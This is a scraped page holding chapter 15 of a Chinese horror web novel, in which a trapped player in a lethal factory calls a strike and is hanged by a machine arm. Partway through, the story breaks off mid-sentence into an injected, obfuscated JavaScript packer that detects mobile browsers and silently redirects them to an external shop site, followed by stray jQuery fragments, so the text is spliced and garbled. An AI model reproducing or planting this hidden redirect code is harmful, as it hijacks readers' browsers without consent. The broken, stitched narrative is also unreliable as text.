文趣网 > 其他小说 > 【无限】没有镜头就会死 > 15. Chapter15.一次性工厂
    中年质检员用手术刀尖狠狠点了点心銋肩头,即便隔着工服也足够尖锐的刺痛感使他清醒了不少。

    质检员掐住心銋的后颈,将他拽到刚从其背后取出的塑料杯前,逼他垂首认错。

    “看看这杯壁!几乎不透了,气泡更是多得像筛糠!

    “从昨天下午开始你就只生产出B级杯,我给了你这么多次机会,对你这么好,结果现在连合格都做不到了!!就拿这种瑕疵品搪塞我?!”

    质检员又唤来心銋所在产线上的监工开喷,他反复翻查记录,试图找到心銋偷工减料的证据,可奈何3841号的数据从头到尾都没有一项是不达标的!

    呵呵,谁叫你们不安监控器。

    心銋一早就排查过了,偌大一个厂完全没见着摄像头,不然他早全砸个遍看能不能出碎片了。

    一条产线有数道工序,且员工众多,然而每条线只配备两个监管员,他们必然也怕担上监督不力的责任,可四只眼睛哪里看得过来!

    操作次数上监工或许还能统计,但在抓取的力度、深度之类的细节上,心銋是大大的有机可乘。

    自己的摸鱼技能可是身经百战练就的,即便只有五分的付出他也要上头看出十分的苦劳来!

    可惜,他的这一表面功夫并没能把军火商糊弄过去。

    想到这心銋又嘁了一嘴。

    他昨天把自己和纠结剑士、薇薇安的生产数据放一起做对比,便初步有了个猜想,那就是产品的质量好坏和员工的用心程度成正相关。

    简单粗暴的说,你工序做得越多、越努力,产品品质就越好。

    不过最多也就是产出极品杯+副产品这样了。

    在他们可实现的范围内,不存在达到某一峰值后,品质再进一步突破或者是不升反降的情况。

    但像军火商那种心眼多的家伙,应该会考虑到“物极必反”的可能;他本来想小小地阴对方一手,封住他卷起来的想法,使之永远都无法制造出极品,然后让自己人猥琐发育。

    结果这奸商——

    “天哪是极品杯!还有副产品……这、这是吸管?!!”

    吸管是从金发男人的血管中提取出来的。

    心銋不禁想到,要是不拔掉吸管直接吸食,军火商会不会只剩下一张皮囊?

    他的脏器会不会像奶茶里的珍珠、果肉那样,混着血液被搅得匀匀的,再一块一块被吸走?

    又或者,要是往吸管里吹气,他会不会像气球似的膨胀到极限然后炸开?到时候肠子会不会像缤纷的彩带一样,庆贺般地洒得满地都是?

    心銋收回目光,他按按眉骨的短疤,醒神似的摇了摇头。

    年轻质检员小心翼翼地抽出一根细长柔韧的透明吸管,管壁薄如蝉翼却韧性十足,内侧竟还嵌着细微脉络,不用说必然是上等货色!

    周围的员工一片哗然,他们纷纷围拢过来,踮脚张望。

    介于吸管在这和香烟类似的生态位,军火商产出的那根应该是很值钱的硬通货。

    心銋眯起眼,目光扫过吸管表面流转的虹彩,不出意料听到了负责自己的那名质检员眼红的尖利抽气声。

    大家都在议论年轻质检员的走运,给他碰上了这么一个稳定又高质的“供货源”,要知道6666号从入职开始就没有生产出过A级以下的杯子,现在更是一骑绝尘,连副产品都是九九成稀罕物!

    相比另一个高开低走的新员工,他显然更有前途。

    心銋的质检员愈发看他不顺眼,颇有种被骗的怨气;既然这家伙工序上并没有懈怠,那就只能是“原料”本身不够好的问题了。

    所以这才昙花一现,勉强产出两个极品身体就不中用了。

    这样下去,3841号的状态估摸着只会越来越差,要不了多久就会被开除。

    老油条质检员眼珠一转,他假意清嗓,突然高声宣布:

    “这个3841号的情况虽然有点复杂,不过底子还是很不错的。正好,你这样新到岗的员工拿他历练一下,将来评优少不了你的!我嘛,就跟你的6666号换一下吧。

    字字句句都是“为你好”,年轻的质检员还得感谢前辈给自己磨练的机会。

    心銋冷笑,和军火商错身而过时他们的视线短暂交汇,金发男人唇角微扬,眸中掠过一丝了然的光。

    那审视的目光尤为令人不快,它还扫过了心銋的脊背在其上方有所停顿。

    怎么?自己的背部难道变得很奇怪吗?看什么看!

    心銋的右手指节神经质的微微一抽,但他还是按捺下去,将力气用在之后的生产上。

    攥紧单杠的指节泛白,右臂肌肉突突跳动,第一下引体向上硬是靠腰腹爆发力拽起半截身子——下巴堪堪擦过杠面,汗珠混着血水砸在锈迹斑斑的传送带上。

    这会儿已经是第二天下午,到现在碎片的收集进度还为0。

    玩家都被工作困在了产线上,心銋见缝插针地到处捣鼓,不时敲敲他们的步骤提示屏幕,糊点血上去,没反应。

    他又在工序IV冰敷时把冰块摔碎,也没啥特别的;他还掰了掰传送带、扣了扣最后一步金属门扇上的力量检测屏,试图物理暴力拆除,被监工警告后讪讪收手。

    以前玩一些解密小游戏没头绪的时候,心銋就随机乱点,试图用穷举法蒙题,指不定哪就触发机关了呢?

    把能想到的地方都挨个试了个便,全部碰壁后,心銋没招地打开镜市。

    在副本里它依旧是“断网”状态,只有已经下载到“本地”的道具护身符和他买的衣服能用。

    这网购商城到底会不会赚钱啊,就不能出个观看30秒广告解锁一个线索的功能吗?

    他又痛又饿,仅存的气力都用来支撑四肢,哪里还有多余的能量去运转大脑。

    这种累到麻木的状况心銋并不陌生,每天干完活他就什么都不想做、什么也不想想了。

    没有工作以外的社交、也没有娱乐,连手机都懒得刷,如果可以的话他想连呼吸都省了,直接躺平任由意识沉向冰冷地砖的缝隙。

    而从整个副本战线的尺度来说,现在又才只进行到第二天自己就已经精疲力竭,剩下一周他要怎么熬过去?

    要不干脆放弃算了。

    反正军火商是高玩的样子,利益相关他肯定不会让这个副本失败,自己大可等着不劳而获——这个念头甫一冒头,便如根系疯长蔓延,止也止不住。

    这时,心銋看见又有NPC掉入了传送带旁齿轮的波浪中,有一些员工是不慎失足,可这个NPC却是直挺挺地跳了下去。

    他像一片被风撕碎的纸,而齿轮纹丝未停,只将那具躯体碾作几截模糊的灰影,混着锈渣噗噗落入下方幽暗的回收槽,这儿就像一张永远填不饱的深渊巨口,永远打磨着它的牙齿。

    一条残余的手臂在齿浪中支着、摇摆挥动,仿佛在招呼着同事们也快快下来休息休息。

    心銋的视线随着脚下的履带一同缓缓移开,他倦怠地直视前方,耷拉着肩,而后忽然转身向监管员报告道:

    “我要、请假。”

    其中一名监工抬起眼皮,应许道:“行。”

    产线暂时为他停下,心銋没料到会这么顺利,脚步一顿,又站了回去,表示暂时还是不用了。

    队列中的军火商微微后仰脑袋,目光越过几个NPC的背影看向心銋,“怎么不去歇一歇?”

    心銋顶着驼峰般的瘤子,脊梁快被压垮,但也不妨碍他继续梗着脖子和军火商呛声。

    “想看我违规就直说呗,监管员没点头也没扫我工牌,你这关心我可受不起。”

    员工守则之七——各工位如有事需离开本岗位,需向组长说明,组长点头并扫描工牌后方可离开;若他摇头,请立即回到工位,等待下一次机会。

    军火商笑容不变,点点自己的脑袋道:“我还以为你已经累得连思考都成奢侈了呢。”

    心銋并不否认,他艰难地转动脖子逞强一笑,“这就是工厂、这个副本想要达成的效果,但不巧,我这人打小就叛逆。”

    环境越想将他规训成什么样他就越不乐意!

    心灰意冷一了百了?或是磨平棱角做一个流水线上没有思想的齿轮?那自己就偏要当那团塞牙的烂肉!

    “格局小了啊奸商,”,青年的一双棕目陡然重燃亮光,“只请假缓那一会会怎么过瘾啊,要休就休它个爽!”

    金发男人笑意微敛,“哦?”

    只见心銋扯开工装后颈的两枚扣子,就像拽断了某种束缚,而后他猛拍胸膛,理直气壮地震出一句这里从未有人喊出过的大话:

    “老子,要罢工!!”

    整个车间骤然死寂,连传送带

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928902|213571||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的嗡鸣都像被扼住了咽喉。

    军火商微怔,他凝视着那跳出规则、口吐狂悖之语的愣头青,发出一声意义不明的促音。

    “哈。”

    员工守则有哪一条规定了不许工人罢工吗?没有!有哪一点禁止员工表达不满吗?也没有,那干它丫的不就完了?!

    与其为那些条文成天担惊受怕、千辛万苦却永无打破阶级之日,还不如直接把这桌子掀了翻身给自己做主!

    理想固然美好,现实却立马将心銋打回了原型。

    “罢工?”他右侧的NPC懵懂问道,“那是什么啊?可以吃吗?”

    “……”

    心銋傻眼,他的豪言壮志不要说有人响应了,这个世界根本就没有反抗剥削的意识和概念!

    NPC甚至很可能都不觉得自己遭到了压迫,他们的生存模式从来如此。

    心銋一时不知这对他们来说究竟是幸还是不幸。

    监工没去扣那无法理解的单词,只面无表情道:“3841号,违规行为确认。”

    “欸!”

    心銋看看自己落下去的上半身工装,才想起来他这衣衫不整的样子违反了第3条规定。

    他顾此失彼,热血上头提防着这条却忘了那条;监管员记录下他的工号并警告他立马把衣服穿回去,心銋马不停照做后心里又泛起嘀咕。

    ……就这样?这么简单?

    没有别的惩罚??

    一如暴风雨前的宁静,心銋不确定地回看监工,对方却早已将视线投向其他人,似乎已经完成了应该对他做的全部处理。

    心銋迟疑地继续完成工作,他俯身下去,做步骤Ⅲ的平板支撑。

    一阵后,他却听见机械臂垂条而来的低噪声,心銋正要回头,一道冰凉的金属触感猝然抵住他后颈!

    随即像抓娃娃机里的玩偶一样,牢牢抓住他的后颈环,一瞬间将之整个提离地面悬停!把他整个人的重量都坠给那条不宽不窄的领圈!

    “咳——!”

    心銋条件发射地抓住了领口,想要将变成上吊绳般绞进脖子的衣服与自己的肌肤撕开可供微弱喘息的空隙。

    可喉管已经被金属工牌狠狠勒死,窒息感如铁钳扼住气管,视野边缘泛起黑雾,耳中嗡鸣骤响。

    他在半空激烈挣扎着,像条被钓上来胡乱甩尾的鱼,将手再次向后方伸去试图解开扣子,却只能摸到机械臂冰凉稳固的关节,任凭他如何挖扣都纹丝不动!

    这破工装怎么这时候质量这么好啊?!

    心銋的脸庞肉眼可见的涨红,领口边缘的脖子肌肤被他抓出一条条急切的血痕。

    心銋再说不出半句话,眼球暴凸,舌根不受控地顶出口腔,他的眼珠拼命瞪向斜下方产线上好整以暇的金发男人。

    已然完成工序的军火商噙着笑朝他抬了抬下巴——那动作轻佻又熟稔。

    像在等他痛哭流涕的祈求合作,或是崩溃狼狈的求救。

    F、U、C、K!

    嘴巴比脑子动得更快,心銋用口型艰难挤出几个字母,他牙龈出血,嘴中白沫快要溢出嘴角。

    意识即将溃散的刹那,他的时间似乎被无限放慢,一瞬间思绪极限地掠过脑海。

    大不了还有护身符可以抵一次命!可是,他并不清楚自己会被吊到什么时候,如果复活后他还在这上面挂着呢?

    而且没记错的话吊死是会失禁的,那他岂不是要在军火商面前……?!

    心銋记不清,自己生前曾有多少次是为了面子而硬抗,为了更“像个男人”而做一些并非出于本意的行动;又有多少回听到“娘娘腔”之类的讥讽。

    那其中,也有年少时的自己一边用拳头打着自个的脸一边嘶吼着“不准哭!”,泪水却更加汹涌地冒出。

    Shit!回马灯都给他干出来了!

    寸头青年自嘲地扯开嘴角,口津混着泪液淌下,他日复一日体训练成的一身肌肉此刻也都显得无力……吗?

    传送带再次运转,要将员工们运向下一个工序;但这之中并不包含被吊起来的心銋。

    他依旧挂在那块,不再大幅晃动,似乎终于明白是在白费力气,又或者已然丧失了神智。

    他的脸正由红转青,抓挠颈部的手指慢下来,浑身开始痉挛。

    军火商终于低头,不再施以任何关注。